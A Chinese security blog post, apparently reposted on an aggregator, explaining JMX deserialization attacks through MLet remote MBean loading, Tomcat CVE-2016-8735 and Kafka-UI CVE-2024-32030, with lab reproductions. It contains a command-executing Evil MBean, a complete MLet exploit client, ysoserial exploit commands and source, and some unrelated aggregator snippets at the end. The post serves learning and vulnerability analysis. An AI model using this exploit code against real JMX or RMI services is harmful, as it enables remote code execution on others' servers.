JMX 反序列化漏洞

前言

前段时间看到普元 EOS Platform 爆了这个洞,Apache James,Kafka-UI 都爆了这几个洞,所以决定系统来学习一下这个漏洞点。

JMX 基础

JMX 前置知识

JMX(Java Management Extensions,即 Java 管理扩展)是一个为应用程序、设备、系统等植入管理功能的框架。JMX 可以跨越一系列异构操作系统平台、系统体系结构和网络传输协议,灵活的开发无缝集成的系统、网络和服务管理应用。

可以简单理解 JMX 是 java 的一套管理框架,coders 都遵循这个框架,实现对代码应用的监控与管理。

JMXStructure

JMX 的结构一共分为三层:

1、基础层:主要是 MBean,被管理的资源。分为四种,常用需要关注的是两种。

  • standard MBean 这种类型的 MBean 最简单,它能管理的资源(包括属性、方法、时间)必须定义在接口中,然后 MBean 必须实现这个接口。它的命令也必须遵循一定的规范,例如我们的 MBean 为 Hello,则接口必须为 HelloMBean。
  • dynamic MBean 必须实现 javax.management.DynamicMBean 接口,所有的属性,方法都在运行时定义。
    2、适配层:MBeanServer,主要是提供对资源的注册和管理。
    3、接入层:Connector,提供远程访问的入口。

JMX 基础代码实践

以下代码实现简单的 JMX demo,文件结构

├── HelloWorld.java  
├── HelloWorldMBean.java  
└── jmxDemo.java

HelloWorldMBean.java

package org.example;public interface HelloWorldMBean {public void sayhello();public int add(int x, int y);public String getName();
}

HelloWorld.java

package org.example;public class HelloWorld implements HelloWorldMBean{private String name = "Drunkbaby";@Overridepublic void sayhello() {System.out.println("hello world" + this.name);}@Overridepublic int add(int x, int y) {return x + y;}@Overridepublic String getName() {return this.name;}
}

jmxDemo.java

package org.example;import javax.management.MBeanServer;
import javax.management.ObjectName;
import javax.management.remote.JMXConnectorServer;
import javax.management.remote.JMXConnectorServerFactory;
import javax.management.remote.JMXServiceURL;
import java.lang.management.ManagementFactory;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;public class jmxDemo {public static void main(String[] args) throws Exception{MBeanServer mBeanServer = ManagementFactory.getPlatformMBeanServer();ObjectName mbsName = new ObjectName("test:type=HelloWorld");HelloWorld mbean = new HelloWorld();mBeanServer.registerMBean(mbean, mbsName);// 创建一个 RMI RegistryRegistry registry = LocateRegistry.createRegistry(1099);// 构造 JMXServiceURL,绑定创建的 RMIJMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://localhost:1099/jmxrmi");// 构造JMXConnectorServer,关联 mbserverJMXConnectorServer jmxConnectorServer = JMXConnectorServerFactory.newJMXConnectorServer(jmxServiceURL, null, mBeanServer);jmxConnectorServer.start();System.out.println("JMXConnectorServer is ready");System.out.println("press any key to exit.");System.in.read();}
}

其中

  • Probe Level:创建了 HelloWorldMBean 实例 mbean
  • Agent Level:创建了 MBeanServer 实例 mbs
  • Remote Management Level: 创建了JMXServiceURL,绑定到本地 1099 rmi,关联到MBeanServer mbs

JMX 安全问题

JMX 的安全问题主要发生在以下三处

1、jmx
2、mbean
3、rmi

其中通过利用 MLet 是最常用的攻击手法,算是 jmx 特性 + mbean 利用,接下来我们详细来看看 Mlet 的漏洞利用及原理。

Mlet

Mlet 指的是 javax.management.loading.MLet,该 mbean 有个 getMBeansFromURL 的方法,可以从远程 mlet server 加载 mbean。

攻击过程:

  1. 启动托管 MLet 和含有恶意 MBean 的 JAR 文件的 Web 服务器
  2. 使用JMX在目标服务器上创建 MBeanjavax.management.loading.MLet 的实例
  3. 调用 MBean 实例的 getMBeansFromURL 方法,将 Web 服务器 URL 作为参数进行传递。JMX 服务将连接到http服务器并解析MLet文件
  4. JMX 服务下载并归档 MLet 文件中引用的 JAR 文件,使恶意 MBean 可通过 JMX 获取
  5. 攻击者最终调用来自恶意 MBean 的方法
  • 下面我们来编写一个漏洞实例。
Evil MBean

文件结构

├── Evil.java
└── EvilMBean.java

EvilMBean.java

package com.drunkbaby.mlet;  public interface EvilMBean {  public String runCommand(String cmd);  
}

Evil.java

package com.drunkbaby.mlet;  import java.io.BufferedReader;  
import java.io.InputStreamReader;  public class Evil implements EvilMBean  
{  public String runCommand(String cmd)  {  try {  Runtime rt = Runtime.getRuntime();  Process proc = rt.exec(cmd);  BufferedReader stdInput = new BufferedReader(new InputStreamReader(proc.getInputStream()));  BufferedReader stdError = new BufferedReader(new InputStreamReader(proc.getErrorStream()));  String stdout_err_data = "";  String s;  while ((s = stdInput.readLine()) != null)  {  stdout_err_data += s+"\n";  }  while ((s = stdError.readLine()) != null)  {  stdout_err_data += s+"\n";  }  proc.waitFor();  return stdout_err_data;  }  catch (Exception e)  {  return e.toString();  }  }  
}
Mlet Server

将原本的文件打包为 jar 包。步骤省略了,就是 build Artifacts。随后编写 evil.html

<html><mlet code="com.drunkbaby.mlet.Evil" archive="JMX.jar" name="MLetCompromise:name=evil,id=1" codebase="http://127.0.0.1:4141"></mlet></html>

整体结构如图

JMXJar.png

Attack Code

ExploitJMXByRemoteMBean.java

package com.drunkbaby.mlet;  import javax.management.MBeanServerConnection;  
import javax.management.ObjectInstance;  
import javax.management.ObjectName;  
import javax.management.remote.JMXConnector;  
import javax.management.remote.JMXConnectorFactory;  
import javax.management.remote.JMXServiceURL;  
import java.net.MalformedURLException;  
import java.util.HashSet;  
import java.util.Iterator;  public class ExploitJMXByRemoteMBean {  public static void main(String[] args) {  try {  
//            connectAndOwn(args[0], args[1], args[2]);  connectAndOwn("localhost","1099","open -a Calculator");  } catch (Exception e) {  e.printStackTrace();  }  }  static void connectAndOwn(String serverName, String port, String command) throws MalformedURLException {  try {  // step1. 通过rmi创建 jmx连接  JMXServiceURL u = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + serverName + ":" + port + "/jmxrmi");  System.out.println("URL: " + u + ", connecting");  JMXConnector c = JMXConnectorFactory.connect(u);  System.out.println("Connected: " + c.getConnectionId());  MBeanServerConnection m = c.getMBeanServerConnection();  // step2. 加载特殊MBean:javax.management.loading.MLet  ObjectInstance evil_bean = null;  ObjectInstance evil = null;  try {  evil = m.createMBean("javax.management.loading.MLet", null);  } catch (javax.management.InstanceAlreadyExistsException e) {  evil = m.getObjectInstance(new ObjectName("DefaultDomain:type=MLet"));  }  // step3:通过MLet加载远程恶意MBean  System.out.println("Loaded "+evil.getClassName());  Object res = m.invoke(evil.getObjectName(), "getMBeansFromURL", new Object[]  { "http://localhost:4141/evil.html"},  new String[] { String.class.getName() } );  HashSet res_set = ((HashSet)res);  Iterator itr = res_set.iterator();  Object nextObject = itr.next();  if (nextObject instanceof Exception)  {  throw ((Exception)nextObject);  }  evil_bean = ((ObjectInstance)nextObject);  // step4: 执行恶意MBean  System.out.println("Loaded class: "+evil_bean.getClassName()+" object "+evil_bean.getObjectName());  System.out.println("Calling runCommand with: "+command);  Object result = m.invoke(evil_bean.getObjectName(), "runCommand", new Object[]{ command }, new String[]{ String.class.getName() });  System.out.println("Result: "+result);  } catch (Exception e)  {  e.printStackTrace();  }  }  
}

mletCalc.png

很明显这里是和远程的 jar 包进行了连接,而远程的 jar 包上面放置了恶意的 MBean,关于 Mlet 的攻击流程和漏洞分析会在文章后半部分展开来讲。

帮助网安学习,全套资料S信免费领取:
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)

JMX 反序列化漏洞

在实际场景中 JMX 一般出现的漏洞点都是在某某反序列化当中。下面内容总结一下可能存在的三个问题

JMX 自身反序列化漏洞 —— CVE-2016-3427/CVE-2016-8735

漏洞描述

这其实是 JDK 的洞 —— JMX 导致的,但是由于 Tomcat 没有及时打补丁,所以这个漏洞被披露在 Tomcat 中。该漏洞的底层原因是由于 Tomcat 在配置 JMX 做监控时使用了 JmxRemoteLifecycleListener() 方法。

  • 漏洞利用前置条件为 JmxRemoteLifecycleListener 监听的 10001 和 10002 端口被开放。
影响版本

Apache Tomcat 9.0.0.M1 - 9.0.0.M11
Apache Tomcat 8.5.0 - 8.5.6
Apache Tomcat 8.0.0.RC1 - 8.0.38
Apache Tomcat 7.0.0 - 7.0.72
Apache Tomcat 6.0.0 - 6.0.47

环境搭建

https://github.com/Drun1baby/CVE-Reproduction-And-Analysis/tree/main/Apache/Tomcat/CVE-2016-8735

需要添加一个 listener 和 catalina.sh,网上教程都有,包括两个 jar 包,我这里不再赘述了。

漏洞复现
  • 漏洞复现的 EXP 已经有了
java -cp ysoserial-all.jar ysoserial.exploit.RMIRegistryExploit localhost 10001 Groovy1 "touch /tmp/success"

JMXRce.png

漏洞触发点 org.apache.catalina.mbeans.JmxRemoteLifecycleListener#createServer

try {  RMIJRMPServerImpl server = new RMIJRMPServerImpl(this.rmiServerPortPlatform, serverCsf, serverSsf, theEnv);  cs = new RMIConnectorServer(serviceUrl, theEnv, server, ManagementFactory.getPlatformMBeanServer());  cs.start();  registry.bind("jmxrmi", server);  log.info(sm.getString("jmxRemoteLifecycleListener.start", new Object[]{Integer.toString(theRmiRegistryPort), Integer.toString(theRmiServerPort), serverName}));  
} catch (AlreadyBoundException | IOException var15) {  log.error(sm.getString("jmxRemoteLifecycleListener.createServerFailed", new Object[]{serverName}), var15);  
}

很经典的手法,registry.bind() 调用反序列化,接着通过 Grovvy1 链触发

同样这里其实也是用 RMI 协议来打的。

利用 Mlet 的方式动态加载 MBean

这个有点意思,上面在讲 Mlet 攻击的时候其实我们有提到,Mlet 是通过加载远程的 jar 包,调用里面的 codebase 来 rce 的。

而 JMX 调用远程 MBean 方法有以下流程:

1、MBean name、MBean Function Name、params,发送给远程的 rmi server,其中 params 需要先统一转换为 MarshalledObject,通过 readObject 转换为字符串。
2、RMI Server监听到网络请求,包含MBean name、MBean Function Name、 params,其中params经过MarshalledObject.readObject() 反序列化,再通过invoke调用原函数。

所以这里只需要我们恶意构造 String 进行反序列化,就可以进行攻击。在 ysoserial 当中,这一个类为 JMXInvokeMBean

package ysoserial.exploit;import javax.management.MBeanServerConnection;
import javax.management.ObjectName;
import javax.management.remote.JMXConnector;
import javax.management.remote.JMXConnectorFactory;
import javax.management.remote.JMXServiceURL;import ysoserial.payloads.ObjectPayload.Utils;/** Utility program for exploiting RMI based JMX services running with required gadgets available in their ClassLoader.* Attempts to exploit the service by invoking a method on a exposed MBean, passing the payload as argument.* */
public class JMXInvokeMBean {public static void main(String[] args) throws Exception {if ( args.length < 4 ) {System.err.println(JMXInvokeMBean.class.getName() + " <host> <port> <payload_type> <payload_arg>");System.exit(-1);}JMXServiceURL url = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + args[0] + ":" + args[1] + "/jmxrmi");JMXConnector jmxConnector = JMXConnectorFactory.connect(url);MBeanServerConnection mbeanServerConnection = jmxConnector.getMBeanServerConnection();// create the payloadObject payloadObject = Utils.makePayloadObject(args[2], args[3]);   ObjectName mbeanName = new ObjectName("java.util.logging:type=Logging");mbeanServerConnection.invoke(mbeanName, "getLoggerLevel", new Object[]{payloadObject}, new String[]{String.class.getCanonicalName()});//close the connectionjmxConnector.close();}
}

我看下来两种漏洞利用的最终思路是很类似的,都是 RMi 去打反序列化,不一样的点在于一个是利用 RMIxxx.bind() 另外一种是在用 jmx:rmi// 协议去打。

当漏洞照进现实 —— CVE-2024-32030 Kafka-UI 反序列化漏洞

https://securitylab.github.com/advisories/GHSL-2023-229_GHSL-2023-230_kafka-ui/#/

漏洞描述

Kafka UI 是 Apache Kafka 管理的开源 Web UI。Kafka UI API 允许用户通过指定网络地址和端口连接到不同的 Kafka brokers。作为一个独立的功能,它还提供了通过连接到其 JMX 端口监视 Kafka brokers 性能的能力。
CVE-2024-32030 中,由于默认情况下 Kafka UI 未开启认证授权,攻击者可构造恶意请求利用后台功能执行任意代码,控制服务器。官方已发布安全更新,修复该漏洞。

影响版本

Kafka-UI <= 0.7.1

环境搭建

Kafka-UI 的 docker

version: '3.8'services:kafka-ui:image: provectuslabs/kafka-ui:v0.7.1container_name: kafka-uienvironment:- DYNAMIC_CONFIG_ENABLED=true- JAVA_OPTS=-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005ports:- "8080:8080"- "5005:5005"

Kafka 的 UI,之前分析 Kafka 漏洞的时候就写过了

version: '2'services:zookeeper:image: zookeeperrestart: alwaysports:- "2181:2181"container_name: zookeeperkafka:image: wurstmeister/kafkarestart: alwaysports:- "9092:9092"- "9094:9094"depends_on:- zookeeperenvironment:KAFKA_ADVERTISED_HOST_NAME: 127.0.0.1KAFKA_ZOOKEEPER_CONNECT: zookeeper:2181KAFKA_LISTENERS: PLAINTEXT://0.0.0.0:9092,SSL://0.0.0.0:9094KAFKA_ADVERTISED_LISTENERS: PLAINTEXT://127.0.0.1:9092,SSL://127.0.0.1:9094KAFKA_LISTENER_SECURITY_PROTOCOL_MAP: PLAINTEXT:PLAINTEXT,SSL:SSLKAFKA_INTER_BROKER_LISTENER_NAME: PLAINTEXTcontainer_name: kafka
漏洞复现

使用 ysoserial 直接打,起一个恶意的 JMX 服务。

git clone https://github.com/artsploit/ysoserial/
cd ysoserial && git checkout scala1
mvn package -D skipTests=true #make sure you use Java 8 for compilation, it might not compile with recent versions
java -cp target/ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1718 Scala1 "org.apache.commons.collections.enableUnsafeSerialization:true"

开启了之后,使用 Kafka-UI 去连接该 JMX

Kafka-JMX.png

第一步先开启 org.apache.commons.collections.enableUnsafeSerialization:true,再进行 CC 的反序列化。

服务器接收到恶意的请求

receiveJMX.png

随后第二步直接使用 CC 链打。

java -cp target/ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1718 CommonsCollections7 "touch /tmp/pwnd2.txt"

攻击成功

rcesuccess.png

漏洞分析

通过简单的搜索就可以确定漏洞入口在 com.provectus.kafka.ui.controller.ClustersController#updateClusterInfo

最终的触发点是在com.provectus.kafka.ui.service.metrics.JmxMetricsRetriever#retrieveSync 方法

retrieveSync.png

后面其实就是 RMI 的部分了,当然这里还涉及到了 Scala1 链暂时不展开。

这一个漏洞其实也是 jmx://rmi// 可控造成的一个问题。但是这里的修复只是更新了一部分依赖,把 CC3 更新成了 CC4。所以其实还是存在一定的绕过的。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/1483812.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

PyTorch 深度学习实践-加载数据集

视频指路 参考博客笔记 参考笔记二 目录标题 介绍课程代码作业实现 介绍 在深度学习时用min-batch来平衡训练时间和性能上的需求&#xff0c;之后训练周期要写成两层嵌套循环。epoch&#xff1a;所有训练样本进行完一次前向和反向传播&#xff0c;batch-size&#xff1a;训练的…

Yolo-World网络模型结构及原理分析(更新中)

文章目录 概要一、整体架构分析二、详细结构分析1.YOLO检测器1.1 Backbone1.2 Head1.3 各模块的过程和作用Conv卷积模块C2F模块BottleNeck模块SPPF模块Upsampling模块Concat模块 2.文本编码器 Text Encoder 概要 尽管YOLO&#xff08;You Only Look Once&#xff09;系列的对象…

AI(Adobe lliustrator)教程+软件包

简介&#xff1a; 软件主要应用于印刷出版、海报书籍排版、专业插画、多媒体图像处理和互联网页面的制作等&#xff0c;也可以为线稿提供较高的精度和控制&#xff0c;适合生产任何小型设计到大型的复杂项目。 通常用于创建LOGO(商标或徽标)&#xff0c;图标&#xff0c;插图…

实践之K近邻算法实现红酒聚类

前言 K近邻算法是一种用于分类和回归的非参数统计方法&#xff0c;通过计算样本与训练样本的距离&#xff0c;找出最接近的k个样本进行投票来确定分类结果。算法的基本要素包括K值、距离度量和分类决策规则。 K值决定了邻居的影响程度&#xff0c;距离度量反映了样本间的相似度…

基于Java的汽车租赁管理系统设计(含文档、源码)

本篇文章论述的是基于Java的汽车租赁管理系统设计的详情介绍&#xff0c;如果对您有帮助的话&#xff0c;还请关注一下哦&#xff0c;如果有资源方面的需要可以联系我。 目录 摘 要 系统运行截图 系统总体设计 系统论文 资源下载 摘 要 近年来&#xff0c;随着改革开放…

旋转编码器 - 从零开始认识各种传感器【第八期】

旋转编码器|从零开始认识各种传感器 1. 什么是旋转编码器&#xff1f; 旋转编码器是一种能够将旋转位置变化转换为数字信号输出的装置&#xff0c;被广泛应用于机械设备、自动化控制、测量仪表等领域。它是电位计的现代数字等效产品&#xff0c;比电位计功能更广泛。 电位计只…

数据结构——堆,堆排序

前提 我们都知道内存分布中的堆区(Heap section)&#xff0c;new出来的空间都在堆区上。和堆区有一个名字很相近的数据结构——堆(Heap)&#xff0c;虽然名称相近&#xff0c;但两者是完全不同的东西。 因为十大排序算法中有一个堆排序&#xff0c;所以从头开始了解下堆这个数…

JAVASE-医疗管理系统项目总结

文章目录 项目功能架构运行截图数据库设计设计模式应用单列设计模式JDBC模板模板设计模式策略模式工厂设计模式事务控制代理模式注解开发优化工厂模式 页面跳转ThreadLocal分页查询实现统计模块聊天 项目功能架构 传统的MVC架构&#xff0c;JavaFX桌面端项目&#xff0c;前端用…

Linux如何正确安装MySQL数据库

对于Linux安装mysql,如果大家有不会的可以来参考小编的详细安装步骤哦&#xff0c;小编带你一步步走向成功~ 首先对于Linux系统&#xff0c;我们通过小编的上一篇文章中知道安装软件的命令为wget&#xff0c;所以首先需要写出命令获取mysql&#xff1a; wget https://cdn.mys…

高频面试题-CSS

BFC 介绍下BFC (块级格式化上下文) 1>什么是BFC BFC即块级格式化上下文&#xff0c;是CSS可视化渲染的一部分, 它是一块独立的渲染区域&#xff0c;只有属于同一个BFC的元素才会互相影响&#xff0c;且不会影响其它外部元素。 2>如何创建BFC 根元素&#xff0c;即HTM…

【Git远程操作】向远程仓库推送 | 拉取远程仓库

目录 1.向远程仓库推送 ​1.1本地仓库的配置 1.2remote-gitcode本地仓库 1.3推送至远程仓库 2.拉取远程仓库 现阶段以下操作仅在master主分支上。 1.向远程仓库推送 工作区☞add☞暂存区☞commit☞本地仓库☞推送push☞远程仓库注意&#xff1a;本地仓库的某个分支 ☞推…

趣谈linux操作系统 9 网络系统-读书笔记

文章目录 网络协议栈基础知识回顾网络分层网络分层的目的各层作用简介延伸-ip地址,有类,无类,cidr socket实现分析tcp/udp回顾socket编程回顾TCP编程回顾UDP编程回顾差异 socket相关接口实现浅析sokcet实现解析创建socket的三个参数socket函数定义及其参数创建socket结构体关联…

小白新手搭建个人网盘

小白新手搭建个人网盘 序云服务器ECS重置密码远程连接ECS实例 安装OwnCloud安装Apache服务PHP运行环境NAS挂载挂载验证操作体验 序 阿里云文件存储NAS&#xff08;Apsara File Storage NAS&#xff09;是一个可大规模共享访问&#xff0c;弹性扩展的分布式文件系统。本文主要是…

(三)原生js案例之滚动到底部解锁按钮状态

业务主要是注册页面&#xff0c;有很长的条款需要用户去读&#xff0c;必须确认用户是不是看到全部的条款&#xff0c;这个场景下可以使用 效果 代码实现 必要的css <style>*{padding: 0;margin: 0;}ul{list-style: none;width: 330px;height: 100%;/* height: 200px;…

Adobe国际认证详解-影视后期

在当今的数字媒体时代&#xff0c;影视后期制作作为创意产业的核心环节&#xff0c;对于专业技能的要求日益提高。Adobe国际认证&#xff0c;作为全球创意设计领域的重要标杆&#xff0c;为影视后期制作人员提供了一个展示自我、提升技能的国际舞台。 何为影视后期&#xff1f;…

在学习使用LabVIEW的过程中,需要注意哪些问题?

在学习使用LabVIEW的过程中&#xff0c;需要注意以下问题&#xff1a; 1. 基础知识 图形化编程思维&#xff1a; LabVIEW采用图形化编程方式&#xff0c;与传统的文本编程语言有很大不同&#xff0c;需要适应这种新的编程思维方式。数据流概念&#xff1a; 理解LabVIEW的核心数…

【Git标签管理】理解标签 | 创建标签 | 查看标签 | 删除标签 | 推送标签

目录 1.理解标签 2.创建标签 3.查看标签 4.删除本地仓库的标签 5.推送标签 6.删除远程仓库的标签 1.理解标签 Git提供一个打标签的功能tag&#xff0c;对某一次事务/提交的表示&#xff08;作用/意义&#xff09;。标签 tag &#xff0c;可以简单的理解为是对某次 comm…

免费的数字孪生平台助力产业创新,让新质生产力概念有据可依

关于新质生产力的概念&#xff0c;在如今传统企业现代化发展中被反复提及。 那到底什么是新质生产力&#xff1f;它与哪些行业存在联系&#xff0c;我们又该使用什么工具来加快新质生产力的发展呢&#xff1f;今天我将介绍一款为发展新质生产力而量身定做的数字孪生工具。 新…

Ubuntu 24.04 LTS 桌面安装MT4或MT5 (MetaTrader)教程

运行脚本即可在 Ubuntu 24.04 LTS Noble Linux 上轻松安装 MetaTrader 5 或 4 应用程序&#xff0c;使用 WineHQ 进行外汇交易。 MetaTrader 4 (MT4) 或 MetaTrader 5 是用于交易外汇对和商品的流行平台。它支持各种外汇经纪商、内置价格分析工具以及通过专家顾问 (EA) 进行自…

酷炫末世意境背景404单页HTML源码

源码介绍 酷炫末世意境背景404单页HTML源码&#xff0c;背景充满着破坏一切的意境&#xff0c;彷佛末世的到来&#xff0c;可以做网站错误页或者丢失页面&#xff0c;将下面的代码放到空白的HTML里面&#xff0c;然后上传到服务器里面&#xff0c;设置好重定向即可 效果预览 …